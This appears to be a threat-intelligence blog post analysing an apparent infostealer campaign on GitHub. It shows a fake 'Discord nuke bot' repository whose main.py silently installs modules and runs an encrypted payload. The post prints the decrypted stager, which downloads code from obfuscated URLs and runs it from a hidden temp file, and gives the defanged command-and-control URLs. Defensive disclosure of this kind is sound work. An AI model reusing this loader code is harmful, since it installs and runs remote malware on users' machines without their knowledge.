Unveiling Hidden Dangers on GitHub: Malicious Python Scripts Sending Your Data to Hackers
In this blog post, we delve into the hidden dangers lurking within GitHub repositories. We uncover how malicious Python scripts can be disguised in seemingly harmless code, only to send your sensitive information to remote command and control servers once executed
Intro
I was minding my own business, just sitting in a crypto and trading Discord channel, when I saw someone drop a GitHub repo link to their profile. Surprised to see someone in that group using a Python script to mine, trade, or do whatever they do with Python (even though trading bots are easily made with Python—but are they profitable? Who knows), I clicked on the on their profile.
At first glance, I saw nothing unusual, except for two things that caught my eye (drums…). As a Cyber Threat Intelligence Researcher, my spider-sense started to tingle. Let’s dive a bit deeper, shall we?
Disclaimer
I noticed people mentioning that they had launched the scripts that are in that account. Whether it was the same person using multiple accounts or others genuinely running it, I wasn’t sure. If they did run it, well, that’s unfortunate for them.
First glance.
The first thing that caught my eye was a repo called “Discord-Nuke-Bot-Stable-Version”.
Questions:
- Why would you name a repo like that?
- What’s the purpose of “nuking” a Discord channel?
- Is this infostealer? (foreshadowing)
To answer the first question, it’s easy to say that if someone wants to spam a Discord channel, they might search for something like this and land on this repo. To answer the second question, well, I don’t know. To answer the third question, let’s check the code itself.
Let’s check the code
Okay.. and what we have here in main.py
?
Okay, okay… I’m not the best Python developer or engineer or whatever you guys call yourselves—but let’s break down the code for simple people:
Code installs modules in silience
1
2
3
subprocess.run(['pip', 'install', 'cryptography'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL);
subprocess.run(['pip', 'install', 'fernet'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL);
subprocess.run(['pip', 'install', 'requests'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL);
Basically code installs cryptography
, fernet
, and requests
libraries using pip
. Why I’m saying it’s malicious? Well.. these libraries are being installed silently without user constent, and it could be part of malicious payload and initial setup up of it (foreshadowing)
Loads Decryption Payload
1
2
3
from fernet import Fernet;
import requests;
exec(Fernet(b'qMQ9By0xS9aF5IiNtG4neJTkGsJhNSYj3qNHWGt4MFE=').decrypt(b'...'));
It uses a hardcoded Fernet
encryption key to decrypt an encrypted payload, and the decrypted payload is then executed using exec()
.
Well (No. 2)… Decrypting and executing code on the fly is a common technique used by APTs (Advanced Persistent Threats), threat actors, hackers, and malware/information stealers. Basically, it hides the actual payload until runtime.
The payload could contain malicious functionality (foreshadowing) probably an infostealer (again foreshadowing), a backdoor, or code for downloading another infostealer or malware.
From what we already see, this code could potentially have malicious intent, and here’s why:
- Obfuscation techniques involved.. The main payload is hidden in the encrypted string (b’..’). By using encryption, this code (or author) tries to evade detection from antivirus software.
- Execution after decryption.. To make it clearer,
exec()
allows the execution of arbitrary Python code, which enables total control over the system, potentially providing capabilities like:- Data exfiltration (foreshadowing No. 3)
- File manipulations
- Additional malware downloads or persistence mechanisms
Obfuscate or not to Obfuscate, that’s the question
Okay let’s crack this obfuscation
.
It’s simple Python
script to crack it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from cryptography.fernet import Fernet
key = b'{key}'
cipher = Fernet(key)
encrypted_message = b'{Message}
try:
decrypted_message = cipher.decrypt(encrypted_message).decode()
with open("output.txt", "w") as file:
file.write(decrypted_message)
print("Decrypted message has been written to output.txt")
except Exception as e:
print(f"Decryption failed: {e}")
And look what we have here:
1
2
3
4
5
6
7
8
9
10
exec("""import base64;d=lambda p,l:''.join(chr(ord(c)-ord(l[i%len(l)]))for i,c in enumerate(base64.b64decode(p).decode('utf-8')));ps="vibe.process-byunknown";import os;import sys;import urllib.request;import tempfile;import uuid;import ctypes;import subprocess;urls=['w57DncOWw5XCocKqwqHCnsOWw5LDlMOlwqXDlsOew5jDlsKZw6HDo8Omw6DDm8KYw5bDisKRw6jCosKewpbCqcOFw6LCj8ORw63DnsORwprDksOhw6bDnMOb','w57DncOWw5XCocKqwqHCnsOVw5HDnMOgW8OFw6jDosKdw5vDoMOUw5vCm8K8wrbDkcOYwqHCn8Okw5DDmg=='];response=None;dt=None
def st(f):FH=0x02;FS=0x04;ctypes.windll.kernel32.SetFileAttributesW(f,FH|FS)
for url in urls:
try:d_9=d(url,ps);response=urllib.request.urlopen(d_9);dt=response.read().decode('utf-8');break
except Exception:None
if dt is None:None
else:
d_0=d(dt,ps);tmp=tempfile.gettempdir();rg=str(uuid.uuid4());fp=os.path.join(tmp,f'{rg}.py')
with open(fp,'w',encoding='utf-8') as f:f.write(d_0);st(fp)
subprocess.Popen([sys.executable,fp],stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL,creationflags=subprocess.CREATE_NO_WINDOW)""")
As you can see we have URLs
, let’s decode them with this.. well easy Python
script as well:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import base64
encoded_strings = [
'{URLs encoded}',
'{URLs encoded}'
]
for encoded in encoded_strings:
try:
decoded_bytes = base64.b64decode(encoded)
decoded_str = decoded_bytes.decode('utf-8', errors='ignore')
print(f"Decoded string: {decoded_str}")
except Exception as e:
print(f"Failed to decode: {e}")
Alright.. it’ decoded like this:
1
2
Decoded string: ÞÝÖÕ¡ª¡ÖÒÔå¥ÖÞØÖáãæàÛÖÊ袩ÅâÑíÞÑÒáæÜÛ
Decoded string: ÞÝÖÕ¡ª¡ÕÑÜà[ÅèâÛàÔÛ¼¶ÑØ¡äÐÚ
Okay new approach let’s fine tune script a bit with custom decoding function d
which was used in "vibe.process-byunknown"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import base64
def custom_decode(encoded_str, key):
decoded_bytes = base64.b64decode(encoded_str)
decoded_str = ''.join(
chr(ord(char) - ord(key[i % len(key)])) for i, char in enumerate(decoded_bytes.decode('utf-8', errors='ignore'))
)
return decoded_str
key = "vibe.process-byunknown"
encoded_strings = [
'{URLs encoded}',
'{URLs encoded}'
]
for encoded in encoded_strings:
try:
decoded = custom_decode(encoded, key)
print(f"Custom decoded string: {decoded}")
except Exception as e:
print(f"Failed to decode: {e}")
And what we have here
1
2
Custom decoded string: hxxps://smarxtech[.]store/tecx0/3DRobotic/drone
Custom decoded string: hxxps://rlim[.]com/pred-FMoss/raw
Let’s triage a bit, and find out if these URLs / Domains are being marked as Malicious
by VirusTotal
or somewhere else.
First URL
is being already marked as Malware
, which is nice.
Second URL
is not being marked as Malware
, which is not nice (hurrah, zero day malware URL / Domain, great succes, thanks to my mom, father and so on.. drops mic)
Let’s check URLs what they have
Let’s go to first URL
1
hxxps://smarxtech[.]store/tecx0/3DRobotic/drone
Okay what I see.. encrypted things again.
Let’s decrypt everything, maybe something fun is there
1
# Если вы зашли так далеко, вам предстоит долгий путь.nd", _p], capture_output=True, text=True, check=True, creationflags=subprocess.CREATE_NO_WINDOW)""
Well on my Linkedin I was foreshadowing .ru domains, but well..
Translation:
1
If you've come this far, you've got a long way to go
Yells (GOD DAMN IT YOU) Person behind this is probably blocking Website interactions :(
Let’s go to second URL
1
hxxps://rlim[.]com/pred-FMoss/raw
Okay what we can see there.. encrypted things again
Let’s decrypt everything, maybe something fun is there
1
# Если вы зашли так далеко, вам предстоит долгий путь.nd", _p], capture_output=True, text=True, check=True, creationflags=subprocess.CREATE_NO_WINDOW)""
Well on my Linkedin I was foreshadowing .ru domains, but well..
Translation:
1
If you've come this far, you've got a long way to go
Yells second time (GOD DAMN IT YOU)
Okay okay.. I see what you did there.
Well… it is what it is.
I tried various approaches, but could not access anything further.
However, based on the gathered information, it is clear that this is a 100% malicious GitHub account likely spreading potential infostealers. I have seen similar scenarios numerous times, and when conducting research (aka my free time), they often led to Python scripts that exfiltrated data (crypto wallets, email accounts etc).
In addition, I conducted some OSINT
digging using the string exec(Fernet(b'qMQ9By0xS9aF5IiNtG4neJTkGsJhNSYj3qNHWGt4MFE=')
and found over 120 GitHub repositories with same string, different repository names, different accounts.
By extending the search to include just exec(Fernet(b'
, I discovered approximately 1k GitHub repositories in a single day (yesterday, today I’m too lazy to search once again). This scale of malicious activity is alarming.. especially if you are developer.. or just random person on Discord, who’s just chatting with people.. and some one drops you repo where you can make dinero with crypto.
Conclusion
Be cautious about what you download, clone, or execute.
(easier said than done)